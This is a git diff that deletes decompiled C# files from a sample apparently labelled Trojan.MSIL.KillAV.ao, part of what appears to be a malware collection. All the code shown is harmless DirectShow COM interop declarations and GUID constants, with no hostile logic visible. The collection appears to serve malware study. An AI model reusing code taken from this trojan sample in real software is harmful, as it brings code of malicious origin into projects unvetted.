ulMaxSize, out int pulActualSize); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsAudioStreamEnabled(int ulStreamNum, [MarshalAs(UnmanagedType.Bool)] out bool pbEnabled); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDiscID([MarshalAs(UnmanagedType.LPWStr), In] string pszwPath, out long pullDiscID); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetState(out IDvdState pStateData); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetMenuLanguages([Out] int[] pLanguages, int ulMaxLanguages, out int pulActualLanguages); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetButtonAtPosition(DsPOINT point, out int pulButtonIndex); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCmdFromEvent(int lParam1, out IDvdCmd pCmdObj); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDefaultMenuLanguage(out int pLanguage); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDefaultAudioLanguage(out int pLanguage, out DvdAudioLangExt pAudioExtension); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDefaultSubpictureLanguage(out int pLanguage, out DvdSubPicLangExt pSubpictureExtension); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDecoderCaps(ref DvdDecoderCaps pCaps); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetButtonRect(int ulButton, out DsRECT pRect); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsSubpictureStreamEnabled(int ulStreamNum, [MarshalAs(UnmanagedType.Bool)] out bool pbEnabled); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdState.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdState.cs deleted file mode 100644 index 09086d3e..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdState.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.IDvdState -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(true)] - [Guid("86303d6d-1c4a-4087-ab42-f711167048ef")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IDvdState - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDiscID(out long pullUniqueID); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetParentalLevel(out int pulParentalLevel); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/OptIDvdCmd.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/OptIDvdCmd.cs deleted file mode 100644 index 902bf0bf..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/OptIDvdCmd.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.OptIDvdCmd -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class OptIDvdCmd - { - public IDvdCmd dvdCmd; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FilterCategory.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FilterCategory.cs deleted file mode 100644 index 5e5b7c13..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FilterCategory.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.FilterCategory -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class FilterCategory - { - public static readonly Guid AudioInputDevice = new Guid(869902178U, (ushort) 37064, (ushort) 4560, (byte) 189, (byte) 67, (byte) 0, (byte) 160, (byte) 201, (byte) 17, (byte) 206, (byte) 134); - public static readonly Guid VideoInputDevice = new Guid(2248913680U, (ushort) 23809, (ushort) 4560, (byte) 189, (byte) 59, (byte) 0, (byte) 160, (byte) 201, (byte) 17, (byte) 206, (byte) 134); - public static readonly Guid VideoCompressorCategory = new Guid(869902176U, (ushort) 37064, (ushort) 4560, (byte) 189, (byte) 67, (byte) 0, (byte) 160, (byte) 201, (byte) 17, (byte) 206, (byte) 134); - public static readonly Guid AudioCompressorCategory = new Guid(869902177U, (ushort) 37064, (ushort) 4560, (byte) 189, (byte) 67, (byte) 0, (byte) 160, (byte) 201, (byte) 17, (byte) 206, (byte) 134); - public static readonly Guid LegacyAmFilterCategory = new Guid(137913329, (short) 28894, (short) 4560, (byte) 189, (byte) 64, (byte) 0, (byte) 160, (byte) 201, (byte) 17, (byte) 206, (byte) 134); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FilterInfo.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FilterInfo.cs deleted file mode 100644 index fb9f56cc..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FilterInfo.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.FilterInfo -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public class FilterInfo - { - [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] - public string achName; - [MarshalAs(UnmanagedType.IUnknown)] - public object pUnk; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FindDirection.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FindDirection.cs deleted file mode 100644 index 317ced8a..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FindDirection.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.FindDirection -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class FindDirection - { - public static readonly Guid UpstreamOnly = new Guid(2893646816U, (ushort) 39139, (ushort) 4561, (byte) 179, (byte) 241, (byte) 0, (byte) 170, (byte) 0, (byte) 55, (byte) 97, (byte) 197); - public static readonly Guid DownstreamOnly = new Guid(2893646817U, (ushort) 39139, (ushort) 4561, (byte) 179, (byte) 241, (byte) 0, (byte) 170, (byte) 0, (byte) 55, (byte) 97, (byte) 197); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FormatType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FormatType.cs deleted file mode 100644 index 8e03f15a..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FormatType.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.FormatType -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class FormatType - { - public static readonly Guid None = new Guid(258217942U, (ushort) 49944, (ushort) 4560, (byte) 164, (byte) 63, (byte) 0, (byte) 160, (byte) 201, (byte) 34, (byte) 49, (byte) 150); - public static readonly Guid VideoInfo = new Guid(89694080U, (ushort) 50006, (ushort) 4558, (byte) 191, (byte) 1, (byte) 0, (byte) 170, (byte) 0, (byte) 85, (byte) 89, (byte) 90); - public static readonly Guid VideoInfo2 = new Guid(4146755232U, (ushort) 60170, (ushort) 4560, (byte) 172, (byte) 228, (byte) 0, (byte) 0, (byte) 192, (byte) 204, (byte) 22, (byte) 186); - public static readonly Guid WaveEx = new Guid(89694081U, (ushort) 50006, (ushort) 4558, (byte) 191, (byte) 1, (byte) 0, (byte) 170, (byte) 0, (byte) 85, (byte) 89, (byte) 90); - public static readonly Guid MpegVideo = new Guid(89694082U, (ushort) 50006, (ushort) 4558, (byte) 191, (byte) 1, (byte) 0, (byte) 170, (byte) 0, (byte) 85, (byte) 89, (byte) 90); - public static readonly Guid MpegStreams = new Guid(89694083U, (ushort) 50006, (ushort) 4558, (byte) 191, (byte) 1, (byte) 0, (byte) 170, (byte) 0, (byte) 85, (byte) 89, (byte) 90); - public static readonly Guid DvInfo = new Guid(89694084U, (ushort) 50006, (ushort) 4558, (byte) 191, (byte) 1, (byte) 0, (byte) 170, (byte) 0, (byte) 85, (byte) 89, (byte) 90); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMAudioInputMixer.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMAudioInputMixer.cs deleted file mode 100644 index 16f75374..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMAudioInputMixer.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMAudioInputMixer -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("54C39221-8380-11d0-B3F0-00AA003761C5")] - [ComImport] - public interface IAMAudioInputMixer - { - int put_Enable([In] bool fEnable); - - int get_Enable(out bool pfEnable); - - int put_Mono([In] bool fMono); - - int get_Mono(out bool pfMono); - - int put_MixLevel([In] double Level); - - int get_MixLevel(out double pLevel); - - int put_Pan([In] double Pan); - - int get_Pan(out double pPan); - - int put_Loudness([In] bool fLoudness); - - int get_Loudness(out bool pfLoudness); - - int put_Treble([In] double Treble); - - int get_Treble(out double pTreble); - - int get_TrebleRange(out double pRange); - - int put_Bass([In] double Bass); - - int get_Bass(out double pBass); - - int get_BassRange(out double pRange); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMCollection.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMCollection.cs deleted file mode 100644 index 8e8f5e1b..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMCollection.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMCollection -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - [ComVisible(true)] - [Guid("56a868b9-0ad4-11ce-b03a-0020af0ba770")] - [ComImport] - public interface IAMCollection - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Count(out int plCount); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Item(int lItem, [MarshalAs(UnmanagedType.IUnknown)] out object ppUnk); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_NewEnum([MarshalAs(UnmanagedType.IUnknown)] out object ppUnk); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMCopyCaptureFileProgress.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMCopyCaptureFileProgress.cs deleted file mode 100644 index 30049120..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMCopyCaptureFileProgress.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMCopyCaptureFileProgress -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Guid("670d1d20-a068-11d0-b3f0-00aa003761c5")] - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IAMCopyCaptureFileProgress - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int Progress(int iProgress); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMCrossbar.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMCrossbar.cs deleted file mode 100644 index f6c0ab33..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMCrossbar.cs +++ /dev/null @@ -1,37 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMCrossbar -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("C6E13380-30AC-11d0-A18C-00A0C9118956")] - [ComImport] - public interface IAMCrossbar - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_PinCounts(out int OutputPinCount, out int InputPinCount); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CanRoute([In] int OutputPinIndex, [In] int InputPinIndex); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Route([In] int OutputPinIndex, [In] int InputPinIndex); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_IsRoutedTo([In] int OutputPinIndex, out int InputPinIndex); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_CrossbarPinInfo( - [MarshalAs(UnmanagedType.Bool), In] bool IsInputPin, - [In] int PinIndex, - out int PinIndexRelated, - out PhysicalConnectorType PhysicalType); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMStreamConfig.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMStreamConfig.cs deleted file mode 100644 index d17fdebe..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMStreamConfig.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMStreamConfig -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("C6E13340-30AC-11d0-A18C-00A0C9118956")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IAMStreamConfig - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetFormat([MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetFormat(out IntPtr pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetNumberOfCapabilities(out int piCount, out int piSize); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetStreamCaps(int iIndex, out IntPtr pmt, [In] IntPtr pSCC); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMTVTuner.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMTVTuner.cs deleted file mode 100644 index 4db72eca..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMTVTuner.cs +++ /dev/null @@ -1,100 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMTVTuner -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("211A8766-03AC-11d1-8D13-00AA00BD8339")] - [ComImport] - public interface IAMTVTuner - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Channel( - int lChannel, - AMTunerSubChannel lVideoSubChannel, - AMTunerSubChannel lAudioSubChannel); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Channel(out int plChannel, out int plVideoSubChannel, out int plAudioSubChannel); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ChannelMinMax(out int lChannelMin, out int lChannelMax); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_CountryCode(int lCountryCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_CountryCode(out int plCountryCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_TuningSpace(int lTuningSpace); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_TuningSpace(out int plTuningSpace); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Logon(IntPtr hCurrentUser); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Logout(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SignalPresent(out AMTunerSignalStrength plSignalStrength); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Mode(AMTunerModeType lMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Mode(out AMTunerModeType plMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetAvailableModes(out AMTunerModeType plModes); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RegisterNotificationCallBack(IAMTunerNotification pNotify, AMTunerEventType lEvents); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int UnRegisterNotificationCallBack(IAMTunerNotification pNotify); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_AvailableTVFormats(out AnalogVideoStandard lAnalogVideoStandard); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_TVFormat(out AnalogVideoStandard lAnalogVideoStandard); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int AutoTune(int lChannel, out int plFoundSignal); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int StoreAutoTune(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_NumInputConnections(out int plNumInputConnections); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_InputType(int lIndex, TunerInputType inputType); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_InputType(int lIndex, out TunerInputType inputType); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_ConnectInput(int lIndex); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_ConnectInput(out int lIndex); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_VideoFrequency(out int lFreq); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_AudioFrequency(out int lFreq); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMTuner.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMTuner.cs deleted file mode 100644 index eb54ff16..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMTuner.cs +++ /dev/null @@ -1,67 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMTuner -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("211A8761-03AC-11d1-8D13-00AA00BD8339")] - [ComImport] - public interface IAMTuner - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Channel( - int lChannel, - AMTunerSubChannel lVideoSubChannel, - AMTunerSubChannel lAudioSubChannel); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Channel(out int plChannel, out int plVideoSubChannel, out int plAudioSubChannel); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ChannelMinMax(out int lChannelMin, out int lChannelMax); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_CountryCode(int lCountryCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_CountryCode(out int plCountryCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_TuningSpace(int lTuningSpace); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_TuningSpace(out int plTuningSpace); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Logon(IntPtr hCurrentUser); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Logout(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SignalPresent(out AMTunerSignalStrength plSignalStrength); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Mode(AMTunerModeType lMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Mode(out AMTunerModeType plMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetAvailableModes(out AMTunerModeType plModes); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RegisterNotificationCallBack(IAMTunerNotification pNotify, AMTunerEventType lEvents); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int UnRegisterNotificationCallBack(IAMTunerNotification pNotify); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMTunerNotification.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMTunerNotification.cs deleted file mode 100644 index 75a67801..00000000 --- 